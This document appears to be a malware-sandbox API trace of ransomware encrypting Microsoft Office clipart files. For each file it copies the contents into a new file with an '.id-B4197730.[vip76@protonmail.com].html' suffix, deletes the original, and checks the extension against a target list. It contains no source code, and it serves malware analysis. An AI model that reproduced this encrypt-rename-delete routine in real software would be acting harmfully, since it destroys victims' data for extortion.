	[0207.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.476] GetLastError () returned 0x0
	[0207.476] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x88c, lpOverlapped=0x0) returned 1
	[0207.477] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x890, lpOverlapped=0x0) returned 1
	[0207.478] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.478] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.478] SetEndOfFile (hFile=0x388) returned 1
	[0207.478] CloseHandle (hObject=0x388) returned 1
	[0207.478] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.478] SetEndOfFile (hFile=0x384) returned 1
	[0207.479] CloseHandle (hObject=0x384) returned 1
	[0207.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1
	[0207.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.480] lstrlenW (lpString=".doc") returned 4
	[0207.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.480] lstrlenW (lpString=".docx") returned 5
	[0207.480] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.480] lstrlenW (lpString=".pdf") returned 4
	[0207.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.480] lstrlenW (lpString=".xls") returned 4
	[0207.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.480] lstrlenW (lpString=".xlsx") returned 5
	[0207.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.480] lstrlenW (lpString=".ppt") returned 4
	[0207.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.480] lstrlenW (lpString=".zip") returned 4
	[0207.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.480] lstrlenW (lpString=".rar") returned 4
	[0207.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.480] lstrlenW (lpString=".bz2") returned 4
	[0207.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.480] lstrlenW (lpString=".7z") returned 3
	[0207.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.480] lstrlenW (lpString=".dbf") returned 4
	[0207.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.481] lstrlenW (lpString=".1cd") returned 4
	[0207.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.481] lstrlenW (lpString=".jpg") returned 4
	[0207.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.481] lstrlenW (lpString=".doc") returned 4
	[0207.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.481] lstrlenW (lpString=".docx") returned 5
	[0207.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.481] lstrlenW (lpString=".pdf") returned 4
	[0207.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.481] lstrlenW (lpString=".xls") returned 4
	[0207.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.481] lstrlenW (lpString=".xlsx") returned 5
	[0207.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.481] lstrlenW (lpString=".ppt") returned 4
	[0207.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.481] lstrlenW (lpString=".zip") returned 4
	[0207.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.481] lstrlenW (lpString=".rar") returned 4
	[0207.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.481] lstrlenW (lpString=".bz2") returned 4
	[0207.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.481] lstrlenW (lpString=".7z") returned 3
	[0207.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.481] lstrlenW (lpString=".dbf") returned 4
	[0207.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.482] lstrlenW (lpString=".1cd") returned 4
	[0207.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0207.482] lstrlenW (lpString=".jpg") returned 4
	[0207.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.482] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.482] lstrlenW (lpString="FD02075_.WMF") returned 12
	[0207.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.482] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=4396) returned 1
	[0207.482] CloseHandle (hObject=0x384) returned 1
	[0207.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220
	[0207.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.483] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.483] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.484] GetLastError () returned 0x0
	[0207.484] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x112c, lpOverlapped=0x0) returned 1
	[0207.485] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0207.486] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.486] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.486] SetEndOfFile (hFile=0x388) returned 1
	[0207.486] CloseHandle (hObject=0x388) returned 1
	[0207.486] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.486] SetEndOfFile (hFile=0x384) returned 1
	[0207.487] CloseHandle (hObject=0x384) returned 1
	[0207.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1
	[0207.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.488] lstrlenW (lpString=".doc") returned 4
	[0207.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.488] lstrlenW (lpString=".docx") returned 5
	[0207.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.488] lstrlenW (lpString=".pdf") returned 4
	[0207.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.488] lstrlenW (lpString=".xls") returned 4
	[0207.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.488] lstrlenW (lpString=".xlsx") returned 5
	[0207.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.488] lstrlenW (lpString=".ppt") returned 4
	[0207.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.488] lstrlenW (lpString=".zip") returned 4
	[0207.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.488] lstrlenW (lpString=".rar") returned 4
	[0207.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.489] lstrlenW (lpString=".bz2") returned 4
	[0207.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.489] lstrlenW (lpString=".7z") returned 3
	[0207.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.489] lstrlenW (lpString=".dbf") returned 4
	[0207.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.489] lstrlenW (lpString=".1cd") returned 4
	[0207.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.489] lstrlenW (lpString=".jpg") returned 4
	[0207.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.489] lstrlenW (lpString=".doc") returned 4
	[0207.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.489] lstrlenW (lpString=".docx") returned 5
	[0207.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.489] lstrlenW (lpString=".pdf") returned 4
	[0207.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.489] lstrlenW (lpString=".xls") returned 4
	[0207.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.489] lstrlenW (lpString=".xlsx") returned 5
	[0207.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.489] lstrlenW (lpString=".ppt") returned 4
	[0207.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.489] lstrlenW (lpString=".zip") returned 4
	[0207.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.489] lstrlenW (lpString=".rar") returned 4
	[0207.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.490] lstrlenW (lpString=".bz2") returned 4
	[0207.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.490] lstrlenW (lpString=".7z") returned 3
	[0207.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.490] lstrlenW (lpString=".dbf") returned 4
	[0207.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.490] lstrlenW (lpString=".1cd") returned 4
	[0207.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0207.490] lstrlenW (lpString=".jpg") returned 4
	[0207.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.490] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.490] lstrlenW (lpString="FD02088_.WMF") returned 12
	[0207.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.490] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=3696) returned 1
	[0207.490] CloseHandle (hObject=0x384) returned 1
	[0207.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220
	[0207.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.491] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.491] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.492] GetLastError () returned 0x0
	[0207.492] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0xe70, lpOverlapped=0x0) returned 1
	[0207.734] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xe80, lpOverlapped=0x0) returned 1
	[0207.735] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.735] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.735] SetEndOfFile (hFile=0x388) returned 1
	[0207.735] CloseHandle (hObject=0x388) returned 1
	[0207.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.735] SetEndOfFile (hFile=0x384) returned 1
	[0207.736] CloseHandle (hObject=0x384) returned 1
	[0207.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1
	[0207.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.737] lstrlenW (lpString=".doc") returned 4
	[0207.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.737] lstrlenW (lpString=".docx") returned 5
	[0207.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.737] lstrlenW (lpString=".pdf") returned 4
	[0207.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.738] lstrlenW (lpString=".xls") returned 4
	[0207.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.738] lstrlenW (lpString=".xlsx") returned 5
	[0207.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.738] lstrlenW (lpString=".ppt") returned 4
	[0207.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.738] lstrlenW (lpString=".zip") returned 4
	[0207.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.738] lstrlenW (lpString=".rar") returned 4
	[0207.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.738] lstrlenW (lpString=".bz2") returned 4
	[0207.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.738] lstrlenW (lpString=".7z") returned 3
	[0207.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.738] lstrlenW (lpString=".dbf") returned 4
	[0207.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.738] lstrlenW (lpString=".1cd") returned 4
	[0207.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.738] lstrlenW (lpString=".jpg") returned 4
	[0207.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.738] lstrlenW (lpString=".doc") returned 4
	[0207.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.738] lstrlenW (lpString=".docx") returned 5
	[0207.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.738] lstrlenW (lpString=".pdf") returned 4
	[0207.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.739] lstrlenW (lpString=".xls") returned 4
	[0207.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.739] lstrlenW (lpString=".xlsx") returned 5
	[0207.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.739] lstrlenW (lpString=".ppt") returned 4
	[0207.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.739] lstrlenW (lpString=".zip") returned 4
	[0207.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.739] lstrlenW (lpString=".rar") returned 4
	[0207.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.739] lstrlenW (lpString=".bz2") returned 4
	[0207.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.739] lstrlenW (lpString=".7z") returned 3
	[0207.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.739] lstrlenW (lpString=".dbf") returned 4
	[0207.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.739] lstrlenW (lpString=".1cd") returned 4
	[0207.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0207.739] lstrlenW (lpString=".jpg") returned 4
	[0207.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.739] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.739] lstrlenW (lpString="HH00236_.WMF") returned 12
	[0207.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.740] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=3286) returned 1
	[0207.740] CloseHandle (hObject=0x384) returned 1
	[0207.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220
	[0207.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.740] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.740] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
